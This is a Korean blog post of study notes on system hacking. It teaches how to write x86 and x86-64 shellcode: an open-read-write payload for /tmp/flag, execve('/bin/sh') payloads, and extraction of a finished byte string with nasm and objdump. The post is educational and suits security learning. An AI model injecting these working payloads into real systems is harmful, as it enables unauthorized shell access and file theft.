본문 바로가기
프로그래밍/해킹

시스템 해킹 - 셸코드

by 만디기 2024. 7. 10.

 

- 셸(Shell, 껍질)이란 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스로, 운영체제의 핵심 기능을 하는 프로그램을 커널(Kernel, 호두 속 내용물)이라고 하는 것과 대비된다.

- 셸을 획득하면 시스템을 제어할 수 있게 되므로 통상적으로 셸 획득을 시스템 해킹의 성공으로 여긴다.

- 셸코드(Shellcode)는 익스플로잇을 위해 제작된 어셈블리 코드 조각이다. 일반적으로 셸을 획득하기 위한 목적으로 사용한다.

- 만약 해커가 rip를 자신이 작성한 셸코드로 옮길 수 있으면 원하는 어셈블리 코드가 실행되게 할 수 있다. 이렇게 되면 사실상 원하는 모든 명령을 CPU에 내릴 수 있게 된다.

- 셸코드는 어셈블리어로 구성되므로 공격을 수행할 대상 아키텍처와 운영체제에 따라, 그리고 셸코드의 목적에 따라 다르게 작성된다.

 

1) orw 셸코드

- orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드이다.

 

코드 구현

1) 의사 코드

char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30); 
write(1, buf, 0x30);

 

2) 필요한 syscall

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
read 0x00 unsigned int fd char *buf size_t count
write 0x01 unsigned int fd const char *buf size_t count
open 0x02 const char *filename int flags umode_t mode

 

3) 어셈블리 구현

(1) int fd = open(“/tmp/flag”, O_RDONLY, NULL)

! 
- "/tmp/flag"라는 문자열을 인자로 넘기기 위해 메모리에 위치시키는 과정이다.
리틀 엔디안 방식으로 "/tmp/flag"를 표시하면 0x67616c662f706d742f인데 스택에는 8바이트 단위로만 값을 push할 수 있으므로(x86-64)
0x67을 먼저 push한 후 나머지를 push하는 방식으로 스택에 값을 넣는다.
- rax에는 함수의 반환값, System Call 종류, 계산 중간 값 등이 들어갈 수 있다.
!
push 0x67				
mov rax, 0x616c662f706d742f 
push rax

!
- rdi가 "/tmp/flag"를 가리킬 수 있도록 rsp의 값을 rdi로 옮긴다.
- rsi, rdx의 값은 0으로 설정한다. (xor 활용)

* rdi : 데이터를 옮길 때 목적지를 가리키는 포인터, System Call의 첫 번째 인자
* rsi : 데이터를 옮길 때 원본을 가리키는 포인터, System Call의 두 번째 인자
* rdx : x64에서는 주된 용도 없음, System Calldml 세 번째 인자
* rsp : 사용 중인 스택의 위치를 가리키는 포인터
* rbp : 스택의 바닥을 가리키는 포인터
!
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0

!
- rax 값을 2로 설정하고 syscall로 System Call을 호출한다.
!
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

 

 

(2) read(fd, buf, 0x30)

Syscall rax arg0(rdi) arg1(rsi) arg2(rdx)
read 0x00 unsigned int fd char *buf size_t count

 

!
- syscall의 반환 값은 rax로 저장되며, 따라서 open으로 획득한 /tmp/flag의 fd는 rax에 저장된다. 
- read의 첫 번째 인자를 이 값으로 설정해야 하므로 rax를 rdi에 대입한다.

* fd : 파일 서술자(File Descriptor, fd)는 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자이다. 
프로세스마다 고유의 서술자 테이블을 갖고 있으며, 그 안에 여러 파일 서술자를 저장한다. 
서술자 각각은 번호로 구별되는데, 일반적으로 0번은 일반 입력(Standard Input, STDIN), 1번은 일반 출력(Standard Output, STDOUT), 2번은 일반 오류(Standard Error, STDERR)에 할당되어 있다. 
이들은 프로세스를 터미널과 연결해 준다. 
이로 인해 키보드 입력을 통해 프로세스에 입력을 전달하고, 출력을 터미널로 받아볼 수 있다.

프로세스가 생성된 이후, 위의 open같은 함수를 통해 어떤 파일과 프로세스를 연결하려고 하면, 기본으로 할당된 2번 이후의 번호를 새로운 fd에 차례로 할당해 준다. 
그러면 프로세스는 그 fd를 이용하여 파일에 접근할 수 있다.
!
mov rdi, rax      ; rdi = fd

!
- rsi는 파일에서 읽은 데이터를 저장할 주소를 가리켜야 하는데, 스택에서 0x30만큼 읽을 것이므로 rsi에 rsp-0x30을 대입한다.
- rdx는 파일로부터 읽어낼 데이터의 길이인 0x30으로 설정한다.
- rax는 read System Call 호출을 위해 0으로 설정한다.
!
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

 

 

(3) write(1, buf, 0x30)

Syscall rax arg0(rdi) arg1(rsi) arg2(rdx)
write 0x01 unsigned int fd const char *buf size_t count
!
- 출력은 stdout으로 할 것이므로, rdi를 0x1로 설정한다.
- rsi와 rdx는 read에서 사용한 값을 그대로 사용한다.
- write 시스템콜을 호출하기 위해서 rax를 1로 설정한다.
!
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

 

(4) 코드 종합

;Name: orw.S

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

 

컴파일 및 실행

- 대부분의 운영체제는 실행 가능한 파일의 형식을 규정하고 있다.

- 윈도우에는 PE, 리눅스에는 ELF가 있다. 

- ELF(Executable and Linkable Format)는 크게 헤더와 코드 그리고 기타 데이터로 구성되어 있는데, 헤더에는 실행에 필요한 여러 정보가 적혀 있고, 코드에는 CPU가 이해할 수 있는 기계어 코드가 적혀 있다.

- 아스키로 작성된 어셈블리 코드는 기계어로 치환하면 CPU가 이해할 수는 있으나 ELF 형식이 아니므로 리눅스에서 실행할 수 없다.

- 어셈블리 코드를 컴파일하는 것에는 여러 가지 방법이 있으나, 여기서는 스켈레톤 코드를 C언어로 작성하고 안에 셸 코드를 탑재하는 방식을 선택하였다.

- 해당 코드를 공격의 대상이 되는 시스템에서 실행할 수 있다면, 상대 서버의 자료를 유출해낼 수 있다.

// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

 

 

▶ 초기화 되지 않은 메모리 사용(Use of Uninitialized Memory)

- 스택은 앞서 얘기했듯 다양한 함수들이 공유하는 메모리 자원이다.

- 각 함수가 자신들의 스택 프레임을 할당해서 사용하고, 종료될 때 해제한다.

- 그런데 스택에서 해제라는 것은 사용한 영역을 0으로 초기화하는 것이 아니라, 단순히 rsp와 rbp를 호출한 함수의 것으로 이동시키는 것을 말한다.

- 즉, 어떤 함수를 해제한 이후, 다른 함수가 스택 프레임을 그 위에 할당하면, 이전 스택 프레임의 데이터는 여전히 새로 할당한 스택 프레임에 존재하게 된다. 이를 쓰레기 값(garbage data)이라고 표현하기도 한다.

- 프로세스는 쓰레기 값 때문에 때때로 예상치 못한 동작을 하기도 하며, 해커에게 의도치 않게 중요한 정보를 노출하기도 한다.

- 따라서 이런 위험으로부터 안전한 프로그램을 작성하려면 스택이나 힙을 사용할 때 항상 적절한 초기화 과정을 거쳐야 한다.

- 해커의 입장에서 쓰레기 값은 아무 의미 없는 값이 아니며, 쓰레기 값은 어셈블리 코드의 주소나 어떤 메모리의 주소일 수 있다.

- 이런 중요한 값을 유출해 내는 작업을 메모리 릭(Memory Leak)이라고 부르는데, 앞으로 배워나갈 보호기법들을 무력화하는 핵심 역할을 한다.

 

2) execve 셸코드

- execve 셸코드는 execve 시스템 콜만으로 구성된다.

 

execve(“/bin/sh”, null, null)

- argv는 실행파일에 넘겨줄 인자, envp는 환경변수이다.

- 여기서는 sh만 실행하면 되므로 다른 값들은 전부 null로 설정하면 된다.

- 리눅스에서는 기본 실행 프로그램들이 /bin/ 디렉토리에 저장되어 있으며, sh도 여기에 저장되어 있다.

- 따라서 execve(“/bin/sh”, null, null)을 실행하는 것을 목표로 셸 코드를 만들면 된다.

 

Syscall rax arg0(rdi) arg1(rsi) arg2(rdx)
execve 0x3b const char *filename const char *const *argv const char *const *envp

 

;Name: execve.S

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

 

3) objdump를 이용한 shellcode 추출

- 라이브러리, 컴파일된 오브젝트 모듈, 공유 오브젝트 파일, 독립 실행 파일 등의 바이너리 파일들의 정보를 보여주는 프로그램이다.

- 아래는 shellcode.asm에 대해 이를 바이트 코드로 바꾸는 과정이다.

- nasm 사용 시, rax / eax 등에 따라 32/64bit 여부를 구분하는 것 같다.

 

(1) 어셈블리 코드 - shellcode.asm

; File name: shellcode.asm
section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80

 

(2) shellcode.o

$ sudo apt-get install nasm 
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
   0:	31 c0                	xor    %eax,%eax
   2:	50                   	push   %eax
   3:	68 2f 2f 73 68       	push   $0x68732f2f
   8:	68 2f 62 69 6e       	push   $0x6e69622f
   d:	89 e3                	mov    %esp,%ebx
   f:	31 c9                	xor    %ecx,%ecx
  11:	31 d2                	xor    %edx,%edx
  13:	b0 0b                	mov    $0xb,%al
  15:	cd 80                	int    $0x80
$

 

(3) shellcode.bin

$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331  1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80                        .1.....
$

 

(4) shellcode string

# execve /bin/sh shellcode: 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

 

*) 참조

- .s 확장자는 컴파일러가 출력된 어셈블리어 코드에 사용되며, 전처리가 필요 없는 파일로 인식한다.

- .S 확장자는 개발자가 직접 작성한 어셈블리어 코드를 의미하며, 전처리가 필요한 파일로 인식한다.

- 파일 확장자가 대문자 ".S"인 경우는 c++의 comment, preprocessor를 사용할 수 있다. 소문자 ".s"는 assembler command만 사용 가능하다.

- .a/.s/.S/.asm 확장자 차이

- https://jakupsil.tistory.com/33

 

어셈블리 파일 확장자 .s와 .S는 다르다.

1주일도 넘게 멈춘 진도 최근 RTOS 공부를 시작하면서 어셈블리어로 작성된 코드를 다루게 되었습니다. 제대로 배운 적은 없지만, 많이 어려운 내용이 아니라서 그래도 따라갈 만하다고 생각했었

jakupsil.tistory.com

'프로그래밍 > 해킹' 카테고리의 다른 글

Command Injection Advanced 실습 문제  (0) 2024.07.17
ExploitTech: Command Injection Vulnerability cases  (0) 2024.07.16
Wireshark 관련 지식  (0) 2024.07.08
x86 어셈블리  (0) 2024.07.06
x86-64 아키텍처 정리  (0) 2024.07.05